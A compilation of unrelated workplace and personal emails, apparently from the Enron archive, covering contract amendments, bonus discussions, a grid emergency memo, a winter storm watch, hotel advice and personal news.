mine could not be worse. Amber took off for the "library" on Thursday night 
and came home.....four days later. After Molly and I had a mild freak-out 
session on Friday - which included calling everybody she's every known, 
including Chris and the police - we heard through the grapevine that Marky 
McCulloch, of Neidermeyer cousin fame, was in town from none other than 
Denver and the two were having a secret and James-Bond-like rendezvous at the 
beach. Well that was all well and fine, other than the fact that she DIDN'T 
TELL US SHE WAS LEAVING and we had been planning a housewarming party this 
weekend for the past month and she DIDN'T TELL US SHE WAS LEAVING and she 
moved kitty into the house but still hasn't told our landlords or paid the 
$500 deposit, oh, and also, SHE DIDN'T TELL US SHE WAS LEAVING. So many 
things were wrong and bizarre about that, but none more than her attitude 
when she walked in the door Monday afternoon. Let's just say I spared no lung 
muscles in telling her exactly what I thought about her selfish, childish, 
idiotic, and most importantly, psychotically self-important behavior. She had 
the gall to defensively scream back that she didn't tell us BECAUSE SHE 
DIDN'T WANT TO LIE. Hmmmm. Not only did she not want to lie - how sweet - but 
she couldn't have told us because Molly and I have suddenly developed an 
insatiable urge to spread fervent and widespread rumors about Amber's love 
trysts. Now, I KNOW there's nothing I'd rather be doing.

Anyway, enough of that. She and I have reached an understanding that just 
because we're roommates does not mean we have to be friends. We've never been 
good at that anyhow. In other news, we had an amazing housewarming party. I 
really wish you could have been there. Molly and I didn't know 90 percent of 
the people there, which is a good thing because it meant they were all 
interesting, successful, gracious and cute. I think there were about four 
girls there - you could tell who planned the party. Sadly, no love 
connections were made that evening, but I've decided that's my new M.O. - 
keep 'em guessing. My friend Michael from Maui who now lives in Seattle came 
down with his friend Jordan who happens to be hot and writing an article for 
Food & Wine magazine. Very interesting guy, but potentially in the closet, so 
I'm keeping my distance. But they invited me up to Seattle next weekend for a 
five-course meal and $100 bottles of wine at some Microsoft dude's mansion. 
Definitely sounds like my crowd. Should I wear my dirty jeans or my clean 
jeans?

I've got my eye on flights to Denver, but right now it's looking like the end 
of March before I can scrape up that kind of cash. Amber on the other hand 
will be there five times before that because some psycho over there keeps 
buying her tickets. That's fair for ya.

Okay, that's all I can do for now, but call me tonight and we'll do the rumor 
mill justice. Take care and hang in there - we'll be booting a roommate soon 
if you feel like coming back to Portland.

Kate
503-288-6546

 Kathy,

Attached for your review and signature, is an Amendment to the current Master Firm Purchase/Sale Agreement between Enron North America Corp. and PG&E Energy Trading, Canada Corporation.  The Amendment restates Section 2.4 and in so doing ENA becomes the confirming party for all transactions. 

Please print and execute two originals and forward same to my attention.  Upon final execution, I will forward an original for your records. Please do not hesitate to give me a call should you have any questions regarding the enclosed.

Regards,

Brian, please give me your thoughts via e -mail asap. I believe this will be 
the most effective tool.  Please give me your expectations as well.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 01/05/2001 
09:40 PM ---------------------------
From: Brian Bierbach@ENRON on 01/05/2001 01:40 PM MST
cc:  
Subject: End of year PRC/Bonus

Hi Dave,
I would like to have the opportunity to speak with you regarding the roles 
that certain individuals played in closing the Project 20/20 transaction and 
provide you with input on how to rationalize bonus amounts relative to 
everyone's performance rankings and contributions to 20/20.  I am open to 
your suggestion as to when and how best to convey my thoughts on this issue.

Hope you had a good holiday and look forward to talking with you soon.

Brian  

Am reviewing now.  SS

Greer Mendelow@ENRON_DEVELOPMENT
07/05/99 08:45 AM
cc:  
Subject: Re: EI/RMT  

Sara,

Just touching base with you re this one.  Any comments to the documents I 
sent to you last week?  We are supposed to talk to WestLB again tomorrow and 
hope to wrap things up with them.  Thanks and hope you are enjoying the 
holiday weekend.

take care,

Greer

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Greetings All,

On October 7th at 2:57 p.m. (CST), Cindy gave birth to our son, Andrew
Joseph Edward.  Andrew weighed in at 6 lbs. 12 oz. and is 19 3/4 inches
long.  This makes him a very light feather weight, but we intend to get his
weight up for future Olympic competition.  Mom is doing fine but feels like
she has been hit by a truck.

We thank you in advance for all of your good wishes!

I hope this e-mail finds everyone in good health...and perhaps with a
renewed desire to baby sit in the bayou.

Tom
Professor Tom Arnold
E.J. Ourso College of Business Administration
2155 CEBA
Baton Rouge, LA 70803
O: 225-578-6369
F: 225-578-6366

fine by me

Steve Susman
ssusman@susmangodfrey.com
713/653-7801
Pager 1-888-562-1184

From: Jeff A Sokoloff [mailto:jeffsok@juno.com]
Sent: Monday, December 04, 2000 1:07 PM
To: James_Derrick@enron.com; cpatman@bracepatt.com;
grosenbaum@velaw.com; Steve Susman
Cc: mcominsky@aol.com
Subject: Date for Karen H. Susman Jurisprudence Award Luncheon

The Hyatt has just notifyed us that Monday, April 23, 2001 is available
for us to hold the Karen H. Susman Jurisprudence Award Luncheon.  I want
to confirm  that this date still works for everyone.  Please respond asap
and let me know if we can go ahead with "booking" this date at the Hyatt.

Thank you.

Jeff Sokoloff

As discussed please see the attached sample master agreement.  Please let me 
know if I can be of further assistance.

Pursuant to a request from John Viverito, we are sending you the revised
draft of the Master Agreement to show changes related to EnronOnline.
Please coordinate your comments directly with John.

The following files have been attached to this email by DeltaView...

Final Master Agreement with Envera.DOC  ( WORD97 )
Redline.rtf  ( Rich Text Format )
 <<Final Master Agreement with Envera.DOC>>   <<Redline.rtf>>

 - Final Master Agreement with Envera.DOC
 - Redline.rtf

Seattle sounds nice.  Haven't made it there myself.  Enjoy the trip.  If you 
have time, I would love to get with you late next week to discuss my thoughts 
about next steps for Joel's team.  --Sally 

Also, when you are back, I would love to set up a meeting with you and some 
of my direct reports so that we can get an update on IT priorities.  We are 
addressing some issues that create operational risk that may require some 
system enhancements to help us mitigate those risks, and we would like the 
opportunity to share those with you in the context of priorities for systems 
work.  

From: Beth Perlman/ENRON@enronXgate on 02/02/2001 02:43 PM
To: Philippe A Bibi/HOU/ECT@ECT, Joe Wong/ENRON@enronXgate, Sally 
Beck/HOU/ECT@ECT, John J Lavorato/ENRON@enronXgate, Jeffrey A 
Shankman/HOU/ECT@ECT, Brenda F Herod/HOU/ECT@ECT, Brent A Price/HOU/ECT@ECT, 
Jeffrey C Gossett/HOU/ECT@ECT, Bob M Hall/NA/Enron@Enron, Robert 
Superty/HOU/ECT@ECT, Richard Burchfield/ENRON@enronXgate, Chris 
Hanz/ENRON@enronXgate, Jeff Johnson/ENRON@enronXgate, Bryan 
Powell/ENRON@enronXgate, Stephen Stock/ENRON@enronXgate, Tommy 
Yanowski/ENRON@enronXgate
cc: Cherylene Westbrook/ENRON@enronXgate, Kendra Dromgoole/ENRON@enronXgate 

All,

I will be out of the office at a Microsoft CIO Summit in Seattle from Monday, 
February 5 until Wednesday, February 7.  I will be back in the office 
Thursday, February 8.  If you have a problem that requires immediate 
assistance, please call Richard Burchfield at 3-7454.  I can be reached by 
cell phone at 713-501-9622.

Beth

in

To: Matthew Lenhart/HOU/ECT@ECT, Chad Landry/HOU/ECT@ECT, Eric 
Bass/HOU/ECT@ECT, Bryan Hull/HOU/ECT@ECT
cc:  
Subject: Rockets

I received an invitation in the mail to purchase Rockets tickets online 2 
days earlier than they go on sale to the general public.  The opener is Tues 
10/31 at 7:30 PM vs. the T-Wolves.    I know how much you guys like sitting 
in the cheap seats, so you can listen to comments such as "I'm gonna let you 
hear it-AIRBALL!," and "He just made Sportscenter."  If you want to go to the 
game let me know  and I will buy the tickets this week.

Hi Bob,

1.  You request Enron position after successful market order, but not after 
limit order  -- you may want it after limit order as well to be consistent.  
I am not clear on how you would use Enron position.  It is possible that the 
trading desk will have a target position in mind and they will set bids and 
offers in such a way as to try to achieve that target position, but this 
target position probably changes continuously and is not stored anywhere, and 
without this target position there is nothing to compare actual Enron 
position to.  Of course, Enron position may still provide some insights.
2.  You request bid-mid-ask prices for each trade --- given that a successful 
trade may execute later than time of order (especially for limit orders), 
would you need the evolution or range of bid-mid-ask over this time interval 
(time of order to time of execution)?  Also, for failed trades, you may need 
the evolution or range of bid-mid-ask over the time interval from time of 
order to time of rejection.  This again mainly applies to limit orders, as 
the time intervals may not be significant for market orders given the speed 
of execution (something to check).

From:  Lee, Bob  
Sent: Monday, April 23, 2001 8:33 AM
To: Kaminski, Vince; Shanbhogue, Vasant; Barkley, Tom
Cc: Lu, Zimin; Huang, Alex; Gibner, Stinson
Subject: EOL Pricing Algorithm

A draft data request for EOL data we would use to study P&L patterns for the 
"George" pricing algorithm is attached for your review.  

Bob

Team,

We've done a lot of good work lately on the evaluation models and I think we 
are converging on a platform that accurately models the product, the project 
and my structure's risk.  The only remaining issues when we're done will 
relate to the curves.

Just so we're all on the same page, I thought I would lay out the base 
scenario:

Hourly vols
Mid power and oil curves
Beginning debt of $375/kw amortising mortgage style over 20-years
Debt interest rates of T+225
Plant residual value of $100/kw
Enron will own a 50 MW call from 5/2001 to 12/31/2020.  Strike prices will be 
$50/mwh for years 1-5, $75/mwh for years 6-10, and $100/mwh for the balance 
of the term.
The basic put or no put trigger algorithm is (plant value + put option value 
>= par amount of bonds outstanding).  As the model calculates equity's 
decision whether or not to put the plant to Enron, we should reduce each 
years par amount of bonds outstanding by the debt service reserve fund.  This 
proxy's the fact that equity will consider when making their put decision 
each year that there are moneys in the DSRF, working capital reserves and 
equity sweep accounts.
Whatever power/oil correlation's structuring thinks are appropriate.

I hope to see results Monday.  If there are any questions, please call me at 
3-4750.

regards,

Don Black

I'll let you guys know if we go out.
----- Forwarded by Susan J Mara/NA/Enron on 12/05/2000 05:12 PM -----

	"Fairchild, Tracy" <tracy.fairchild@edelman.com>
	12/05/2000 04:21 PM
		 
		 To: "Aaron Thomas (E-mail)" <athomas@newenergy.com>, "Andrea Weller 
(E-mail)" <aweller@sel.com>, "andrew Chau (E-mail)" <anchau@shellus.com>, 
"Bill Chen (E-mail)" <bchen@newenergy.com>, "Douglas Oglesby (E-mail)" 
<doao@chevron.com>, "Jeffrey Hanson (E-mail)" <jeff.hanson@phaser.com>, 
"jennifer Chamberlin (E-mail)" <jnnc@chevron.com>, "john Barthrop (E-mail)" 
<jbarthrop@electric.com>, "John Leslie (E-mail)" <jleslie@luce.com>, "Joseph 
Alamo (E-mail)" <jalamo@enron.com>, "Kathleen Magruder (E-mail)" 
<kmagruder@newpower.com>, "Marcie Milner (E-mail)" <Marcie.Milner@enron.com>, 
Michael Nelson <mnelson@electric.com>, "Mona Petrochko (E-mail)" 
<mpetroch@enron.com>, "Peter Bray (E-mail)" <pbray@newpower.com>, "Rebecca 
Schlanert (E-mail)" <rschlanert@electric.com>, "Richard Counihan (E-mail)" 
<rick.counihan@greenmountain.com>, "Robert Morgan (E-mail)" 
<rmorgan@newenergy.com>, "Sue Mara (E-mail)" <smara@enron.com>
		 cc: "Warner, Jami" <jami.warner@edelman.com>, "Allen, Stevan" 
<stevan.allen@edelman.com>, "Beiser, Megan" <Megan.Beiser@edelman.com>
		 Subject: ISO to Call Stage 3 Tonight?

Hello to the ARM Team,

FYI---the following memo was released by the ISO this afternoon

Tracy Fairchild

 This memo is to alert you to the likelihood that we will be declaring a
> Stage 3 emergency later today and interrupting approx.. 1500 MW of firm
> load for the 5:00 to 8:00 timeframe.  The anticipated emergency is due to
> greatly reduced imports (2700 MW, down from 5300 MW) and the large number
> of unit outages, both planned (4800 MW) and forced (6300, of which 2400
> are NoX constrained), combined with a projected peak of approximately
> 34,000 MW.  We have advised the Governor's office, the EOB, FERC and DOE
> of the situation, and we are working with the State to bring on line some
> of the NoX constrained units, which, due to ramp up, will not be available
> until sometime tomorrow at the earliest. With predictions of colder
> weather for later this week and the urgent need for maintenance on one of
> the nuclear units during the weekend, we are facing a challenging week.
> 
> 
Thanks, 

Kim Hubner
Terry M. Winter, President & CEO
(916) 351-2222 voice
(916) 351-2350 facsimile
(916) 499-1217 pager 
(916) 802-2495 cell
<mailto:khubner@caiso.com>

Whatever you can do is most welcome.  We are only limited by time.  We have 
set aside the entire day of Wednesday, March 1 for you to schedule.  We can 
also be available late Monday afternoon, February 28.  I will advise shortly 
with respect to local invitees.  Thanks very much.  Sara

"LOPEZ AUFRANC, Patricia" <PLA@marval.com.ar> on 02/24/2000 10:12:27 AM
To: "'Sara Shackleton'" <Sara.Shackleton@enron.com>
cc:  
Subject: RE: Trip to BA

 Sara:  Trucco from Citi just confirmed.  I wondered wheter you would
be interested in meeting with one of the directors of the CNV who is in
charge of derivatives issues.  I could try to arrange a meeting if he is in
BA.  Please confirm.

 Who should we invite to the lunch from your local office?

 regards
 Patricia
>
>
>
>
>
Este mensaje es confidencial. Puede contener informacion amparada
por el secreto profesional. Si usted ha recibido este e-mail por error,
por favor comuniquenoslo inmediatamente via e-mail y tenga la
amabilidad de eliminarlo de su sistema; no debera copiar el mensaje
ni divulgar su contenido a ninguna persona. Muchas gracias.

This message is confidential. It may also contain information that is
privileged or otherwise legally exempt from disclosure. If you have
received it by mistake please let us know by e-mail immediately and
delete it from your system; should also not copy the message nor
disclose its contents to anyone. Many thanks.
 ---------------------------------------------------------------------

You and Prentice could produce a 795?

From:  Jeff.Dasovich@enron.com [mailto:Jeff.Dasovich@enron.com]
Sent: Thursday, April 26, 2001 8:45 AM
To: Nancy Sellers
Cc: Cameron; 'Eldon Sellers'; Jeff Dasovich; Prentice Sellers; Prentice @
Berkeley; Scott Laughlin
Subject: Re: MORGAN

poor thing.  what else is there after dual 790s?

Nancy Sellers
<Nancy.Sellers@RobertMo        To:     Cameron
<cameron@perfect.com>, Jeff
ndavi.com>                     Dasovich
<Jeff_Dasovich@enron.com>, "Prentice @
Berkeley"
<PSellers@haas.berkeley.edu>, Prentice
04/26/2001 10:29 AM            Sellers
<PSellers@pacbell.net>, Scott Laughlin
<scottwl@hotmail.com>
cc:     "'Eldon Sellers'"
<Eldon@direcpc.com>
Subject:     MORGAN

Morgan got a 790/790 on her SAT - I guess she'll have to take it over!

Nancy

----- Forwarded by Stacy E Dickson/HOU/ECT on 04/10/2001 09:48 AM -----

	Paul Chymiy <pchymiy@NUI.com>
	04/10/2001 08:47 AM
		 
		 To: "'Johnson, Rudwell'" <Rudwell.Johnson@ENRON.com>
		 cc: Jennifer Forno <jforno@NUI.com>, Terri Sue Gross <tgross@NUI.com>, 
"'Stacy.E.Dickson@enron.com'" <Stacy.E.Dickson@enron.com>, 
"'Mark.Breese@enron.com'" <Mark.Breese@enron.com>, Brian Rose 
<brose@NUI.com>, Laura DiBenedetto <ldibenedetto@NUI.com>
		 Subject: RE: NUI Guaranty

Rudwell -
 Do you have any comments on the changes that I made which were
attached to the e-mail below?
Paul

> From:  Paul Chymiy
> Sent:  Friday, April 06, 2001 8:21 AM
> To:  'Johnson, Rudwell'
> Cc:  Jennifer Forno; Terri Sue Gross; 'Stacy.E.Dickson@enron.com';
> 'Mark.Breese@enron.com'; Brian Rose; Laura DiBenedetto
> Subject:  RE: NUI Guaranty
>
> Rudwell -
>  I am attaching the Guaranty with a couple of minor changes.  I
> reinserted a parenthetical that was deleted from the second paragraph and
> correct "NIU" to "NUI" twice in the same paragraph.  Also, becasue of the
> statements contained in Section 17, I would like ENA to be a signatory to
> this document.
>  <<File: ENA-nui guaranty5(RED).doc>>
> Paul
>
>  ----------
>  From:  Johnson, Rudwell[SMTP:Rudwell.Johnson@ENRON.com]
>  Sent:  Thursday, April 05, 2001 5:05 PM
>  To:  pchymiy@nui.com
>  Subject:  FW: NUI Guaranty
>
>  <<File: nui guaranty5(clean).doc>>
>
>
>  >  -----Original Message-----
>  > From:  Sayre, Frank
>  > Sent: Thursday, April  5, 2001 3:28 PM
>  > To: Johnson, Rudwell
>  > Cc: Stacy E Dickson@ECT; Mark Breese@ECT
>  > Subject: NUI Guaranty
>  >
>  > Rudwell - Here is the NUI guaranty incorporating the changes to
> the
>  > second paragraph and Section 3 that we discussed earlier on the
> phone.
>  >  <<nui guaranty5(clean).doc>>
>
> 

Michael Smythe's presentation

Tracy J. McLaughlin
Government Affairs Coordinator
(503) 886-0396 

----- Forwarded by Tracy McLaughlin/Enron Communications on 05/25/00 12:32 PM 
-----

	Michael Smythe
	05/23/00 01:12 PM
		 
		 To: Tracy McLaughlin/Enron Communications@Enron Communications
		 cc: 
		 Subject: Preso

here you go

Michael Smythe
michael_smythe@enron.net
office 503 886 0306
cel 503 880 0186

Brian Stone
J.M. Huber

At the request of Gerald Nemec, I am forwarding to you the attached Master 
Firm Purchase/Sale Agreement--Sample Contract for review.  

Please do not hesitate to contact me with any questions and or comments 
regarding this matter.
  
Regards,

great ------thanks!  sp 

   Kate Symes                01/29/2001 01:26 PM

cc:  
Subject: Re: deal 501404.01 (language)  

Thanks,
Kate

cc:  

Kate, 

Thanks
Stephanie

Kev-it certainly sounds like you have alot on your hands with the house, but
i'm sure it will all work out.  Maybe you can call rabbit to come and do some
renovation work.  after all, he did spend his entire sophomore year building
the brothers bar!!  Or maybe give marro a call-he was the house manager and
pretty good with his hands.  Or better yet, give morgante a ring.  he won't
show up, but he'll take your wife out for a date.  By the way,
congratulations on getting married!!  Next time you come to NJ I'll give you
your present (it's on ice, don't worry)
    Yes I am still dating beth.  It's a little tough with the distance (as
i'm sure you can understand), but we do the best we can and when we see each
other it's always great.  We actually spent new year's down in mexico.
Matter of fact i picked up the rest of my pictures the other day and quickly
proceeded to become depressed at the fact that i am here and not there.
Needless to say we had a great time.  You know, we are figuring on taking a
trip sometime in the spring, maybe vegas.  it would be unbelievable if you
and lisa could meet us.  Or maybe we can even visit you guys.  let me know.
    I saw sweets new office recently.  He and i had lunch.  I'll tell you
something, he is such a great guy.  everytime i call him for anything, no
matter how long it's been since i've talked to him, he always acts like i
just spoke with him.  I have to fax you the letter he sent to me last year.
It was fucking hilarious.  Anyway, the office is great and i met one of his
new partners.  i'm sure they will do excellent there.
    I hope work is going well.  I'm keeping my eye on enron.  they are always
in the NY Times with some sort of inventive stuff that they're doing.  It
looks like a pretty cool company.  I also have a mutual fund that invests
heavily in the company.
    My work has been extremely hectic, but things couldn't be better.  My
partner pete and i merged our office with another guy on January 1 and now we
are a 3 partner firm.  We bought a building in Hawthorne and we close on
April 1.  I'm looking forward to getting into the building soon.  We have to
wait though for some renovations to be done.  But it should be pretty
exciting.  It's  a victorian house and it's a real nice setup.
    The only other person i have seen recently is coun.  He and Chris met
Beth and i for lunch a couple of weeks ago at the short hills mall.
Oh-before i forget, my number at work is (973) 569-0888.  Give me a call
soon, and give me your work number as well.
    Oh one last thing, give me moller's e-mail address if you have it.  And
something else, let me know next time you guys are road tripping to louisiana
or wherever else.  i am definitely in.
    Well take care, definitely stay in touch and by all means give the former
Ms. taggart my best.  It was great hearing from you.

-Ricigs

See attached.  Bob:  please call me.  SS
---------------------- Forwarded by Sara Shackleton/HOU/ECT on 03/28/2000 
   
	From:  Erica Braden                           03/28/2000 09:11 AM
	
cc:  
Subject: Bridgeline Signature Block

Per Barbara Gray

The post-id should be 766556.  I am still inputting the unofficial post-id on 
a daily basis in that file that was created for you all, 
O:\Erms\erms_adm\GasDaily\GDailyDrop.  Let me know if there's anything else I 
can do.

04/26/2000 08:36 AM
To: Susan M Scott/HOU/ECT@ECT
cc:  
Subject: Missing Gas Daily Deals

---------------------- Forwarded by Purvi Patel/HOU/ECT on 04/26/2000 08:36 
   
From:  Carrie Southard                                                        
     04/25/2000 05:28 PM	
	
To: Purvi Patel/HOU/ECT@ECT
cc: Jennifer deBoisblanc Denny/HOU/ECT@ECT, Torrey Moorer/HOU/ECT@ECT, Matt 
Motsinger/HOU/ECT@ECT 

Hi Purvi.

Sorry to only come to you when I have a problem, but I've noticed a large 
increase in the number of Gas Daily Deals that fail to pull into our 
Reporting Database.  Could you tell me which Post ID these deals are in and 
when they were booked?  I would really appreciate your help.

Carrie

I am out of the office next week.  Please send details on the meeting at 
Wharton to my assistant, Danielle Dees.  She will make my travel 
arrangements.  I believe you were recommending a hotel as well.

AUSTIN-BRAZOS-BURLESON-COLORADO-FORT BEND-GRIMES-HARRIS-HOUSTON- LIBERTY-MADISON-MONTGOMERY-POLK-SAN JACINTO-TRINITY-WALKER-WALLER- WASHINGTON-WHARTON- INCLUDING THE CITIES OF...BRENHAM...BRYAN/COLLEGE STATION... CALDWELL...COLDSPRING...COLUMBUS...CONROE...CROCKETT...EL CAMPO... WHARTON...GROVETON...TRINITY...HEMPSTEAD...HOUSTON...PASADENA... HUNTSVILLE...LIBERTY...LIVINGSTON...CORRIGAN...MADISONVILLE... NAVASOTA...RICHMOND...SUGARLAND...SEALY...BELLVILLE 525 AM CST TUE JAN 1 2002 

...WINTER STORM WATCH TODAY AND TONIGHT... 

LIGHT RAIN WILL DEVELOP OVER SOUTHEAST TEXAS TODAY. THE RAIN WILL CHANGE OVER TO SNOW AS THE DEPTH OF THE ARCTIC COLD AIR INCREASES OVER THE REGION. COLD AIR WILL DRAIN SOUTHWARD AS THE PRECIPITATION CONTINUES TO DEVELOP. SNOW WILL BE POSSIBLE OVER AREAS NORTH OF A LINE FROM BRENHAM TO LIVINGSTON THIS MORNING. SNOW SHOULD BE ON THE INCREASE THIS AFTERNOON AS FAR SOUTH AS THE INTERSTATE 10 CORRIDOR. SLEET WILL BE POSSIBLE SOUTH OF INTERSTATE 10 MAINLY LATE THIS AFTERNOON. 

EXACT SNOW AND SLEET AMOUNTS ARE DIFFICULT TO PINPOINT AT THIS TIME. ONE TO TWO INCHES COULD ACCUMULATE BY WEDNESDAY MORNING FOR AREAS GENERALLY ALONG AND NORTH OF A BELLVILLE TO HUNTSVILLE TO LIVINGSTON LINE...AMOUNTS OF 1 INCH OR LESS SOUTH TO INTERSTATE 10... NO SIGINFICANT ACCUMULATIONS ARE EXPECTED OVER THE COASTAL COUNTIES. 

THE SNOW SHOULD COME TO END LATE TONIGHT OR EARLY WEDNESDAY MORNING. 

AS THE TEMPERATURES FALL THE THREAT OF WATER BEGINNING TO FREEZE ON ROADWAYS WILL INCREASE THROUGHOUT THE AFTERNOON FROM NORTH TO SOUTH...BY EVENING WATER ON ROADWAYS MAY FREEZE AS FAR SOUTH AS A WHARTON TO HOUSTON TO WINNIE LINE...ESPECIALLY ON ELEVATED ROADWAYS AND BRIDGES. PERSONS WITH AUTOMATIC SPRINKLERS SHOULD TURN THEM OFF TO AVOID SPRAYING WATER ON TO THE ROADWAYS IN TURN AGGRAVATING THE THREAT OF ICY ROADWAYS. 

MOTORISTS SHOULD BE ALERT FOR DETERIORATING DRIVING CONDITIONS THROUGHOUT THE DAY AND NIGHT. EVEN IN METRO HOUSTON...DRIVING COULD BECOME DANGEROUS. ANY LIQUID LEFT ON ROADS WILL FREEZE...ESPECIALLY ON LIGHTLY TRAVELLED SECONDARY ROADS. 

THE INCLEMENT WEATHER IS BEING CAUSED BY A STRONG UPPER LEVEL STORM SYSTEM THAT IS FORECAST TO CROSS THE REGION THIS AFTERNOON AND TONIGHT. THE SYSTEM IS FAST MOVING AND SHOULD BE EAST OF THE AREA BY WEDNESDAY MORNING. TEMPERATURES WILL RISE ABOVE FREEZING OVER THE ENTIRE AREA WEDNESDAY MORNING...ALLOWING ANY ACCUMULATED SNOW AND SLEET TO MELT. 

VERY COLD TEMPERATURES ARE EXPECTED WEDNESDAY NIGHT.  ANY WET AREAS LEFT ON ROADS WILL FREEZE HARD AS TEMPERATURES FALL INTO THE 16 TO 25 INLAND AND NEAR 30 ON THE IMMEDIATE COAST. YOU MAY WISH TO CONSIDER MAKING PREPARATIONS TO WRAP EXPOSED PIPES AND ARRANGE FOR PETS AND PORTABLE PLANTS TO BE BROUGHT INSIDE. 

STAY TUNED TO NOAA WEATHER RADIO AND LOCAL MEDIA FOR THE LATEST FORECAST FROM THE NATIONAL WEATHER SERVICE. A WINTER STORM WARNING MAY BE ISSUED LATE TODAY IF THE THREAT OF SIGNIFICANT WINTER WEATHER INCREASES. 

Michelle Lawless
Enron Litigation Unit
Tel:  (713) 853-6298
Fax:  (713) 853-6576

Kay

Daren - canyou get a deal set up for meter 5593 for Aug 00?  There has been a 
small amount of flow everyday.  Total flow for Aug. 00 is 1.054.  Last deal 
ticket associated was 133169 for Jul. 00. Let me know if you have any 

AL

Wednesday, December 13, 2000

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Houston, TX Sheraton Suites Houston Near the Galleria $71.00=20
Houston, TX Sheraton Houston Brookhollow $ 45.00=20
Houston, TX The Westin Galleria $64.00=20
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Houston, TX The Westin Oaks $71.00=20

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Airport:  Austin, Texas (AUS)
Rate:     $109/Night    Doubletree Guest Suites Austin, Austin  TX =20
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(North Dallas location, free shuttle to Galleria & Valley View shopping=20
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(Located just 4 miles from the Meadowlands Sports Complex and 9 miles from
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(Only 9 miles from downtown Houston, free shuttle to the Galleria Mall.)

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s

r
y

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e

Good morning, Michael.  Will there be enough funds to help Sue without 
Shell's if I wait until Mr. Lay returns on October 3?  I have not been very 
successful getting faxes through to the ship, so would prefer not to have to 
bother him with this unless absolutely necessary.

Rosalee

"Telle, Michael S." <mtelle@velaw.com> on 09/25/2000 06:28:00 PM
To: "'kenneth.lay@enron.com'" <kenneth.lay@enron.com>
cc:  
Subject: Referendum Campaign

Mr. Lay--

I have been assisting John Watson with his representation of Sports
Facilities, L.P., and I am in the process of coordinating the $1.4 million
prepayment by the Sports Authority and the contribution of such amount by
the partners to the referendum campaign.

Assuming that we receive the prepayment from the Sports Authority, we expect
to be able to start making contributions to the referendum campaign this
week.  The contributions will be paid to the referendum campaign by the
partnership, on behalf of each partner, upon receipt of instructions from
each such partner that its share of the amount prepaid should be contributed
to the campaign instead of being distributed.  I have discussed this
procedure with Sue Walden.

With respect to your arrangement with Shell, we were not sure what you and
Shell had agreed to.  The monies being contributed to the referendum
campaign are being contributed to a special purpose political action
committee (as required by law).  This special purpose PAC is subject to the
general Texas laws that govern campaign fundraising.  As you know, one of
these laws provides that "a person may not knowingly make or authorize a
political contribution in the name of or on behalf of another unless the
person discloses in writing to the recipient the name and address of the
person actually making the contribution . . . ."   Pending a better
understanding of the Shell arrangement, we will hold Shell's $100,000 in the
partnership's account.

Please contact John Watson at 713-758-2556 or me at 713-758-2350 if you have
any questions regarding the foregoing.

Michael S. Telle

When you ask a question you usually have heard a rumor.  What did you hear?

From: Suzanne Adams@ECT on 06/06/2001 03:35 PM
cc:  

Subject: Re: New York Hotel  

The New York Hilton sounds good and the location is good.  We are paying for 
this, so we don't want to spend a fortune.  I also emailed Nellie in 
Klauberg's office to see if she had any recommendations/connections.  You 
know I do make sure his bills get paid!!!!!!!

Are you going to be doing business on your vacation days because if you are, 
I'm not going to charge you.  I just don't think that's right.  Have you guys 
had any new additions to your group?  

	06/06/2001 03:30 PM
		
		 cc: sheila.tweed@enron.com@ECT, dan.lyons@enron.com@ECT
		 Subject: Re: New York Hotel

Never stayed there.  My current favorite is the Omni, which is in one of may 
favorite locations. It has a little deli like shop across the street, where I 
can buy reasonably priced bagels, cokes, etc.  Last year I also stayed at the 
Marriott Marquis (BIG, right on Times Square) and the Mark (too snooty).  I 
stayed two other places I didn't like, but the names escape me.

I've seen some other smaller hotels which look nice, and if I check a map I 
might remember the names.

Kay

From: Suzanne Adams@ECT on 06/06/2001 12:37 PM
To: sheila.tweed@enron.com, dan.lyons@enron.com, kay.mann@enron.com
cc:  

Subject: New York Hotel

What do you guys know about the Mayflower.  We are looking for a hotel in New 
York at Christmas.
----- Forwarded by Suzanne Adams/HOU/ECT on 06/06/2001 12:36 PM -----

	"Doherty, Ric" <Ric.Doherty@COMPAQ.com>
	06/06/2001 12:33 PM
		 
		 To: "Suzanne Adams Doherty (E-mail)" <Suzanne.Adams@enron.com>
		 cc: 
		 Subject: New York Hotel

Do any of your people know anything about this place....it is where Pam and
Scott stayed and really liked it...recommended by Brysch

http://www.mayflowerhotel.com/welcome.htm

Thanks,

Ric Doherty
(281) 514-7624 - office
(800) 920-8171 - pager
ric.doherty@compaq.com
ricdoherty@att.net

Early this week I circulated the attached summary of the LM 6000 contract to 
the commercial people for comments.  Having received none, the summary is 
apparently OK from a commercial standpoint.

Does either of you see any problem with placing this summary, together with 
copies of the schedules and exhibits to the GE contract (other than exhibits 
and schedules containing price terms or references to spare parts) in the 
data room for Las Vegas?

Hope you had a good weekend.

Thanks.

Could one of you please authorize release of code from Research.

Thanks

Louise

From: Koehler, Anne C. 
Sent: Monday, January 14, 2002 9:48 AM
To: Kitchen, Louise
Subject: Research programs and analytics

Under the terms of the agreements with UBS, all of the research software programs are being licensed to the new trading company and are listed on the schedule of Proprietary software.  In addition, under the terms of the license, Enron must provide the new trading company with copies of the source code and object code as well as all associated documentation for these applications and all databases and other data relating to the Gas and Power Trading Business.

Please call if you have any questions

I would like to discus this matter with you when you get a chance.

Alan
---------------------- Forwarded by Alan Aronowitz/HOU/ECT on 09/29/99 04:10 

Matthias Lee
09/29/99 05:02 AM
To: Alan Aronowitz/HOU/ECT@ECT
cc:  
Subject: Re: MT " Pacific Valour"

FYI
---------------------- Forwarded by Matthias Lee/SIN/ECT on 09/29/99 06:01 PM 

09/29/99 03:01 PM
To: sbainbridge@wfw.com
cc: Angeline Poon/SIN/ECT@ECT, Anita Fam/SIN/ECT@ECT 

Subject: Re: MT " Pacific Valour"  

Suzanne

As just discussed, I attach a transcript of a taped conversation between 
Russell and Joseph Tan of Hyundai Singapore Pte Ltd. The conversation took 
place on 20 Sept 1999 at about 9.30am.

Please let me have your advice as to whether the conversation can amount to 
an election on the part of Hyundai such that they cannot subsequently rely on 
our breach of condition to rescind.

I think Yukong Line [1996] 2 Lloyd's Rep 604 is a relevant case which you may 
want to have a look at.

I look forward to hearing from you before the end of the day. 

Matt

As part of the recently negotiated agreement with United Parcel Service (UPS), Enron employees may now utilize two new letter centers when sending packages after hours.  These letter centers are located in Three Allen Center, on the ground level, behind the down escalator, near the U.S. Postal Services self-service area and in the Enron Building, at the back of the escalators near the automated teller machine.  

Letter-sized envelopes, as well as boxes up to 18"x 13" x 3" can be shipped via Next-Day Air, Second-Day Air, Third-Day Select, UPS International and UPS World-Wide Express Service.  

